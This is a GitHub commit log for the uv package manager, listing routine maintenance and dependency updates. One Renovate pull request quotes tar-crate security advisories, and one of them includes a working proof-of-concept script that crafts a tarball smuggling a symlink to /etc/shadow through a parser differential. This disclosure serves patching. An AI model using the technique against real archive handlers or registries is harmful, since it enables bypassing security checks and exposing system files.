Commit Graph

8745 Commits

Author SHA1 Message Date
William Woodruff 3d4cb95c80 CI: Interpose a template through an environment variable (#18624) 2026-03-22 00:03:11 +09:00
renovate[bot] 06b3b45a22 Update Rust crate tar to v0.4.45 (#18594)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [tar](https://redirect.github.com/alexcrichton/tar-rs) |
workspace.dependencies | patch | `0.4.44` → `0.4.45` |

### GitHub Vulnerability Alerts

####
[CVE-2026-33056](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph)

## Summary

When unpacking a tar archive, the `tar` crate's `unpack_dir` function
uses `fs::metadata()` to check whether a path that already exists is a
directory. Because `fs::metadata()` follows symbolic links, a crafted
tarball containing a symlink entry followed by a directory entry with
the same name causes the crate to treat the symlink target as a valid
existing directory — and subsequently apply `chmod` to it. This allows
an attacker to modify the permissions of arbitrary directories outside
the extraction root.

## Reproducer

A malicious tarball contains two entries: (1) a symlink `foo` pointing
to an arbitrary external directory, and (2) a directory entry `foo/.`
(or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST`
because the symlink is already on disk. The `fs::metadata()` check then
follows the symlink, sees a directory at the target, and allows
processing to continue. The directory entry's mode bits are then applied
via `chmod`, which also follows the symlink — modifying the permissions
of the external target directory.

## Fix 

The fix is very simple, we now use `fs::symlink_metadata()` in
`unpack_dir`, so symlinks are detected and rejected rather than
followed.

## Credit

This issue was reported by @​xokdvium - thank you!

####
[CVE-2026-33055](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff)

### Summary

As part of
[CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the
astral-tokio-tar project was changed to correctly honor PAX size headers
in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust
`tar` crate) had a conditional logic that skipped the PAX size header in
the case that the base header size was nonzero - almost the inverse of
the astral-tokio-tar issue.

The problem here is that *any* discrepancy in how tar parsers honor file
size can be used to create archives that appear differently when
unpacked by different archivers.

In this case, the tar-rs (Rust `tar`) crate is an outlier in checking
for the header size - other tar parsers (including e.g. Go
`archive/tar`) unconditionally use the PAX size override.

### Details


https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600

https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

### PoC

(originally posted by https://github.com/xokdvium)

> I was worried that cargo might be vulnerable to malicious crates, but
it turns out that crates.io has been rejecting both symlinks and hard
links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have
introduced a differential that could be used to smuggle symlinks into
the registry that would get skipped over by `astral-tokio-tar` but not
by `tar-rs`.


https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600

https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

```python

#!/usr/bin/env python3
B = 512

def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)

INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))
```

`tar-rs` and `astral-tokio-tar` parse it differently, with
`astral-tokio-tar` skipping over the symlink (so presumably the check
from
https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102
wouldn't disallow it).

```rust
use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
```

```
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular
```

### Impact

This can affect anything that uses the `tar` crate to parse archives and
expects to have a consistent view with other parsers. In particular it
is known to affect crates.io which uses `astral-tokio-tar` to parse, but
cargo uses `tar`.

---

### Release Notes

<details>
<summary>alexcrichton/tar-rs (tar)</summary>

###
[`v0.4.45`](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)

[Compare
Source](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiLCJzZWN1cml0eSJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-03-21 19:16:49 +09:00
Charlie Marsh c1517ec647 Respect installed settings in uv tool list --outdated (#18586)
## Summary

Closes https://github.com/astral-sh/uv/issues/18522.
2026-03-20 20:05:32 -04:00
Zanie Blue c1cd212dd5 Add a comment explaining the lock --check error handling (#18595) 2026-03-20 15:34:55 -05:00
Zanie Blue 5a1c3451c8 Use --only-group for documentation run command (#18610)
Otherwise, we build uv from source which is not desirable.

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-20 20:26:54 +00:00
Zanie Blue 0967b5a28b Fix the free-threaded install-only downloads on macOS (#18609)
I'm honestly not sure what the root cause is here but I'm going to merge
to unblock `main` which is otherwise broken.
2026-03-20 20:22:21 +00:00
Zanie Blue bced7d57ea Be more consistent about using refs for doc comments in uv-fs::link (#18601) 2026-03-20 19:10:10 +00:00
Zanie Blue 635a76cad3 Split the dependency-bots page into two separate pages (#18597) 2026-03-20 14:01:55 -05:00
Zanie Blue 8093dfcaa9 Add a system test for the chainguard Python image (#18460)
Should require https://github.com/astral-sh/uv/pull/18457
2026-03-20 13:13:43 -05:00
github-actions[bot] 00e4746cc0 Sync latest Python releases (#18591)
Automated update for Python releases.

Co-authored-by: zanieb <2586601+zanieb@users.noreply.github.com>
2026-03-20 13:13:22 -05:00
Zanie Blue cb093394b3 Drop requirement on which in Python system tests (#18588) 2026-03-20 11:26:07 -05:00
Zanie Blue cedae1aa42 Trigger system tests when the system check file changes (#18590)
Co-authored-by: Claude <noreply@anthropic.com>
2026-03-20 16:22:01 +00:00
Zanie Blue 04bbd6a6ab Trigger benchmarks when bench workflow changes (#18589)
Co-authored-by: Claude <noreply@anthropic.com>
2026-03-20 16:19:09 +00:00
Zanie Blue 029d79f34f Add details on Linux versions to the platform policy (#18574) 2026-03-20 08:00:45 -05:00
Zanie Blue 91922a620c Find the linker on the file system when sniffing binaries fails (#18457)
Closes https://github.com/astral-sh/uv/issues/8635
2026-03-20 07:56:08 -05:00
Zanie Blue 1597e9f96c Use a Depot runner for simulated benchmarks (#18585)
Hopefully, this means we will get consistent hardware and improve
stability
2026-03-20 12:28:10 +00:00
Zanie Blue 2f3a471802 Continue to alternative authentication providers when the pyx store has no token (#18425)
Co-authored-by: Zsolt Dollenstein <zsol.zsol@gmail.com>
2026-03-20 07:16:27 -05:00
Zanie Blue 00d72dac7b Bump version to 0.10.12 (#18578) 2026-03-19 21:18:55 +00:00
Zanie Blue f13abc388e Use a Termux image with Python pre-installed instead (#18573)
Created at https://github.com/astral-sh/termux-python

Termux's package repositories seem to be horribly unstable.
2026-03-19 20:59:13 +00:00
Zanie Blue b03b033924 Move is_explicit check to PythonSource (#18569) 2026-03-19 12:28:50 -05:00
Zanie Blue d7da792648 Consolidate PythonPreference enforcement (#18567) 2026-03-19 10:01:03 -05:00
Zanie Blue bd2e0c9b09 Allow comma separated values in --no-emit-package (#18565)
Closes #18560

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-19 13:23:46 +00:00
Zanie Blue 5e25583c42 Construct PythonInstallation early instead of passing around source / interpreter separately (#18564) 2026-03-19 08:21:23 -05:00
Zanie Blue 6d628da78a Preserve end-of-line comments on previous entries when removing dependencies (#18557)
When a dependency is removed, `toml_edit` stores any trailing comments
in the prefix of the next item. Our implementation did not account for
this, causing trailing comments on a dependency to be dropped when the
subsequent item is removed.

For example, when removing `requests` from:

```toml
dependencies = [
    "numpy", # essential comment
    "requests",
]
```

With this fix, the comment is preserved.

Closes #18555

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-19 08:11:05 -05:00
Zsolt Dollenstein 46c9bac182 download-metadata: Use ndjson instead of GH releases for CPython (#18406) 2026-03-19 11:36:19 +00:00
Zanie Blue 481d99bf6a Include uv's target triple in version report (#18520)
When looking at https://github.com/astral-sh/uv/issues/18509 I realized
this would be useful

e.g.,

```
$ uv self version
0.0.0 (53b0f5d92 2023-10-19 x86_64-unknown-linux-gnu)
```

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Aria Desires <aria.desires@gmail.com>
2026-03-19 04:11:16 +00:00
Zanie Blue c2760647a8 Improve reporting of managed interpreter symlinks in uv python list (#18459)
Closes https://github.com/astral-sh/uv/issues/17959

Expands discovery to always include a system scan even if
`--managed-python` is used to find links to managed interpreters on the
`PATH`. Then filters reported interpreters by whether or not they are
managed after discovery, so `--no-managed-python` will never report
those symlinks.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-18 22:08:46 -05:00
Zanie Blue 7025a09090 Move Pyodide to Tier 2 in the Python support policy (#18561)
We support managed installs of these now.
2026-03-18 22:03:50 -05:00
Zanie Blue 54bf9b04eb Update the Python version policy (#18559) 2026-03-18 22:03:41 -05:00
Zanie Blue c541a91c85 Add a test case for armv7 uv on aarch64 (#18532)
Reproduces https://github.com/astral-sh/uv/issues/18509
Related https://github.com/astral-sh/uv/pull/18517
Requires #18530
2026-03-18 18:59:47 -05:00
Zanie Blue 42c85f654f Add support for using Python 3.6 interpreters (#18454)
Applies a patch to use Python 3.6 compatible types in our vendored
`packaging` implementation used in the interpreter query script. Adds
Python 3.6 and 3.7 test coverage in CI.
2026-03-18 18:33:30 -05:00
Zanie Blue 4419f9cd39 Update Docker guide with changes from uv-docker-example (#18558)
Closes https://github.com/astral-sh/uv/issues/18556
2026-03-18 18:32:22 -05:00
William Woodruff 49ad87eb7d Unhide uv audit (#18540)
## Summary

Almost all of the MVP roadmap is done, so this unhides `uv audit`.

See #18506.

## Test Plan

NFC, but will bump the snapshots.

---------

Signed-off-by: William Woodruff <william@astral.sh>
2026-03-18 14:54:12 +00:00
Zanie Blue 87fa30a320 Add Python 3.15 to supported versions (#18552) 2026-03-18 09:28:41 -05:00
Zanie Blue 4f9c88cd3e Adjust the PyPy note (#18548) 2026-03-18 09:08:55 -05:00
renovate[bot] 165b63d09e Update docker/metadata-action action to v6 (#18501)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[docker/metadata-action](https://redirect.github.com/docker/metadata-action)
| action | major | `v5.10.0` → `v6.0.0` |

---

### Release Notes

<details>
<summary>docker/metadata-action (docker/metadata-action)</summary>

###
[`v6.0.0`](https://redirect.github.com/docker/metadata-action/releases/tag/v6.0.0)

[Compare
Source](https://redirect.github.com/docker/metadata-action/compare/v5.10.0...v6.0.0)

- Node 24 as default runtime (requires [Actions Runner
v2.327.1](https://redirect.github.com/actions/runner/releases/tag/v2.327.1)
or later) by [@&#8203;crazy-max](https://redirect.github.com/crazy-max)
in
[#&#8203;605](https://redirect.github.com/docker/metadata-action/pull/605)
- List inputs now preserve `#` inside values while still supporting
full-line `#` comments by
[@&#8203;crazy-max](https://redirect.github.com/crazy-max) in
[#&#8203;607](https://redirect.github.com/docker/metadata-action/pull/607)
- Switch to ESM and update config/test wiring by
[@&#8203;crazy-max](https://redirect.github.com/crazy-max) in
[#&#8203;602](https://redirect.github.com/docker/metadata-action/pull/602)
- Bump lodash from 4.17.21 to 4.17.23 in
[#&#8203;588](https://redirect.github.com/docker/metadata-action/pull/588)
- Bump [@&#8203;actions/core](https://redirect.github.com/actions/core)
from 1.11.1 to 3.0.0 in
[#&#8203;599](https://redirect.github.com/docker/metadata-action/pull/599)
- Bump
[@&#8203;actions/github](https://redirect.github.com/actions/github)
from 6.0.1 to 9.0.0 in
[#&#8203;597](https://redirect.github.com/docker/metadata-action/pull/597)
- Bump
[@&#8203;docker/actions-toolkit](https://redirect.github.com/docker/actions-toolkit)
from 0.68.0 to 0.79.0 in
[#&#8203;604](https://redirect.github.com/docker/metadata-action/pull/604)
- Bump
[@&#8203;isaacs/brace-expansion](https://redirect.github.com/isaacs/brace-expansion)
from 5.0.0 to 5.0.1 in
[#&#8203;600](https://redirect.github.com/docker/metadata-action/pull/600)
- Bump semver from 7.7.3 to 7.7.4 in
[#&#8203;603](https://redirect.github.com/docker/metadata-action/pull/603)

**Full Changelog**:
<https://github.com/docker/metadata-action/compare/v5.10.0...v6.0.0>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-03-18 13:26:49 +00:00
renovate[bot] b22ec5491d Update Rust crate tempfile to v3.27.0 (#18497)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [tempfile](https://stebalien.com/projects/tempfile-rs/)
([source](https://redirect.github.com/Stebalien/tempfile)) |
workspace.dependencies | minor | `3.25.0` → `3.27.0` |

---

### Release Notes

<details>
<summary>Stebalien/tempfile (tempfile)</summary>

###
[`v3.27.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3270)

[Compare
Source](https://redirect.github.com/Stebalien/tempfile/compare/v3.26.0...v3.27.0)

This release adds `TempPath::try_from_path` and deprecates
`TempPath::from_path`.

Prior to this release, `TempPath::from_path` made no attempts to convert
relative paths into absolute paths. The following code would have
deleted the wrong file:

```rust
let tmp_path = TempPath::from_path("foo")
std::env::set_current_dir("/some/other/path").unwrap();
drop(tmp_path);
```

Now:

1. `TempPath::from_path` will attempt to convert relative paths into
absolute paths. However, this isn't always possible as we need to call
`std::env::current_dir`, which can fail. If we fail to convert the
relative path to an absolute path, we simply keep the relative path.
2. The `TempPath::try_from_path` behaves exactly like
`TempPath::from_path`, except that it returns an error if we fail to
convert a relative path into an absolute path (or if the passed path is
empty).

Neither function attempt to verify the existence of the file in
question.

Thanks to [@&#8203;meng-xu-cs](https://redirect.github.com/meng-xu-cs)
for reporting this issue.

###
[`v3.26.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3260)

- Support `NamedTempFile::persist` on RedoxOS
([#&#8203;393](https://redirect.github.com/Stebalien/tempfile/issues/393))
(thanks to
[@&#8203;Andy-Python-Programmer](https://redirect.github.com/Andy-Python-Programmer)).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-03-18 08:21:43 -05:00
renovate[bot] a47ae0cd35 Update docker/login-action action to v4 (#18500)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [docker/login-action](https://redirect.github.com/docker/login-action)
| action | major | `v3.7.0` → `v4.0.0` |

---

### Release Notes

<details>
<summary>docker/login-action (docker/login-action)</summary>

###
[`v4.0.0`](https://redirect.github.com/docker/login-action/releases/tag/v4.0.0)

[Compare
Source](https://redirect.github.com/docker/login-action/compare/v3.7.0...v4.0.0)

- Node 24 as default runtime (requires [Actions Runner
v2.327.1](https://redirect.github.com/actions/runner/releases/tag/v2.327.1)
or later) by [@&#8203;crazy-max](https://redirect.github.com/crazy-max)
in
[#&#8203;929](https://redirect.github.com/docker/login-action/pull/929)
- Switch to ESM and update config/test wiring by
[@&#8203;crazy-max](https://redirect.github.com/crazy-max) in
[#&#8203;927](https://redirect.github.com/docker/login-action/pull/927)
- Bump [@&#8203;actions/core](https://redirect.github.com/actions/core)
from 1.11.1 to 3.0.0 in
[#&#8203;919](https://redirect.github.com/docker/login-action/pull/919)
- Bump
[@&#8203;aws-sdk/client-ecr](https://redirect.github.com/aws-sdk/client-ecr)
from 3.890.0 to 3.1000.0 in
[#&#8203;909](https://redirect.github.com/docker/login-action/pull/909)
[#&#8203;920](https://redirect.github.com/docker/login-action/pull/920)
- Bump
[@&#8203;aws-sdk/client-ecr-public](https://redirect.github.com/aws-sdk/client-ecr-public)
from 3.890.0 to 3.1000.0 in
[#&#8203;909](https://redirect.github.com/docker/login-action/pull/909)
[#&#8203;920](https://redirect.github.com/docker/login-action/pull/920)
- Bump
[@&#8203;docker/actions-toolkit](https://redirect.github.com/docker/actions-toolkit)
from 0.63.0 to 0.77.0 in
[#&#8203;910](https://redirect.github.com/docker/login-action/pull/910)
[#&#8203;928](https://redirect.github.com/docker/login-action/pull/928)
- Bump
[@&#8203;isaacs/brace-expansion](https://redirect.github.com/isaacs/brace-expansion)
from 5.0.0 to 5.0.1 in
[#&#8203;921](https://redirect.github.com/docker/login-action/pull/921)
- Bump js-yaml from 4.1.0 to 4.1.1 in
[#&#8203;901](https://redirect.github.com/docker/login-action/pull/901)

**Full Changelog**:
<https://github.com/docker/login-action/compare/v3.7.0...v4.0.0>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-03-18 08:15:40 -05:00
Zanie Blue 8998568ef4 Detect hard-float support on aarch64 kernels running armv7 userspace (#18530)
Pulled out of https://github.com/astral-sh/uv/pull/18517

I don't have aarch64 hardware available locally, but Claude posited: 

> When an armv7 binary runs on an aarch64 kernel (e.g., armv7l
containers on aarch64 hosts, or 32-bit Raspberry Pi OS on 64-bit
hardware), /proc/cpuinfo reports aarch64-style feature flags instead of
armv7 flags. The existing check for "vfp" fails because aarch64 uses
"fp" instead.
> 
> Add detection of the aarch64 "fp" feature flag (mandatory on all
aarch64 CPUs) as a discrete token, indicating hardware floating-point
support. This ensures uv selects the gnueabihf (hard-float) Python
variant instead of the gnueabi (soft-float) variant.

I reproduced this in https://github.com/astral-sh/uv/pull/18532

Under QEMU on aarch64 macOS, both the `vfp` and `fp` feature flags are
set.

Closes #18509
2026-03-18 07:52:31 -05:00
github-actions[bot] 87950df2cc Add pypy 3.11.15 (#18468)
Automated update for Python releases.

Co-authored-by: zanieb <2586601+zanieb@users.noreply.github.com>
2026-03-18 07:48:18 -05:00
Zanie Blue 287faaf92c Move Rust and Python version support out of the Platform support policy (#18535)
The content is unchanged.

I'm planning to expand the content in the Python version and Platform
support files and generally don't like that these are mixed.
2026-03-18 07:47:21 -05:00
Charlie Marsh 7b3170d69d Treat abi3 wheel Python version as a lower bound (#18536)
## Summary

`flashinfer_jit_cache-0.5.3+cu130-cp39-abi3-manylinux_2_28_x86_64.whl`
needs to be interpreted as "Python 3.9 or later", but our "implied
markers" coverage was interpreting it as `==3.9.*`.

Closes https://github.com/astral-sh/uv/issues/18527.
2026-03-17 23:33:26 +00:00
Zanie Blue 17afca33e9 Upgrade the release build runners from Windows 2022 -> 2025 (#18528)
Needed for WinGet in #17543

The `windows-latest` label already changed
https://github.blog/changelog/2025-07-31-github-actions-new-apis-and-windows-latest-migration-notice/

I don't think this should affect users.
2026-03-17 15:13:20 -05:00
William Woodruff 457aded048 Bump astral-tokio-tar to 0.6.0 (#18507)
## Summary

See GHSA-6gx3-4362-rf54.

## Test Plan

NFC.

Signed-off-by: William Woodruff <william@astral.sh>
2026-03-17 01:28:34 +00:00
Charlie Marsh 006b56b12d Bump version to 0.10.11 (#18521)
Co-authored-by: Tomasz Kramkowski <tom@astral.sh>
2026-03-16 19:32:39 -04:00
William Woodruff 4d4b968f25 Deprecate some non-PEP 625 source distributions (#17467) 2026-03-17 08:18:09 +09:00
konsti de2071881e Run benchmarks in offline mode (#18487)
Currently, we have the simulated benchmarks on codspeed turned of, they
flake to much
(https://codspeed.io/astral-sh/uv/benchmarks/crates/uv-bench/benches/uv.rs::uv::resolve_warm_airflow::resolve_warm_airflow?runnerMode=Simulation&period=1m),
while the walltime benchmarks are kinda stable.

<img width="1819" height="996" alt="image"
src="https://github.com/user-attachments/assets/ffd7b5b5-3bf9-427b-92dc-0bb4fbfbb3d0"
/>

<img width="1819" height="955" alt="image"
src="https://github.com/user-attachments/assets/8d1a7519-4214-4564-b7a5-c899bff4f7b4"
/>

Looking into two of these spurious regressions, we see that they occur
in the network code, and that the CI runs for them took >10min, while
regularly runs take <10min.

*
https://codspeed.io/astral-sh/uv/runs/compare/699738846a7b43e19b4d2e67..699778f1f92bec70ac9b3024?uri=crates%2Fuv-bench%2Fbenches%2Fuv.rs%3A%3Auv%3A%3Aresolve_warm_airflow%3A%3Aresolve_warm_airflow&runnerMode=Simulation
*
https://github.com/astral-sh/uv/actions/runs/22199337000/job/64207958534
*
https://codspeed.io/astral-sh/uv/runs/compare/699caa16bfa44e7f9c0b44c5..699cc8e475e640df09b7f01f?uri=crates%2Fuv-bench%2Fbenches%2Fuv.rs%3A%3Auv%3A%3Aresolve_warm_airflow%3A%3Aresolve_warm_airflow&runnerMode=Simulation
*
https://github.com/astral-sh/uv/actions/runs/22325481213/job/64594783994

<img width="1819" height="973" alt="image"
src="https://github.com/user-attachments/assets/e5c7c260-3a93-4e25-bc00-fdf045edc098"
/>

uv caches PyPI responses for 10min, after that, it has to make
revalidation request. If the build takes >7min, and we prime the caches
before the build, the most likely explanation is that these runs have to
make revalidation requests. This is not a problem for walltime
benchmarks, which run multiple times, where revalidation requests in one
run are just an outlier that gets ignored overall.

The fix is that the benchmark itself primes the cache, and then runs in
offline mode. We keep the cache priming in the GitHub action before the
benchmark builds for the sake of the job logs, while we need the priming
inside the bench for running `cargo bench` locally without extra setup.
Running the benches themselves with an offline client make uv ignore the
10min threshold.
2026-03-16 15:14:54 -05:00
Zanie Blue add312b679 Allow --project to refer to a pyproject.toml directly and reduce to a warning on other files (#18513)
Closes https://github.com/astral-sh/uv/issues/18508

This unintentionally regressed in
https://github.com/astral-sh/uv/pull/17714 as it appeared that
`--project <file>` always failed but it actually succeeds if the file is
has an ancestor directory with a `pyproject.toml`.

This also removes the warning for `--project [path/]pyproject.toml` as I
think that's a fine use-case.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-16 15:14:31 -05:00
renovate[bot] ebdd2bf4b9 Update zizmorcore/zizmor-action action to v0.5.2 (#18496) 2026-03-16 14:44:10 -04:00
renovate[bot] 6bde8a4e63 Update taiki-e/install-action action to v2.68.25 (#18495) 2026-03-16 14:43:54 -04:00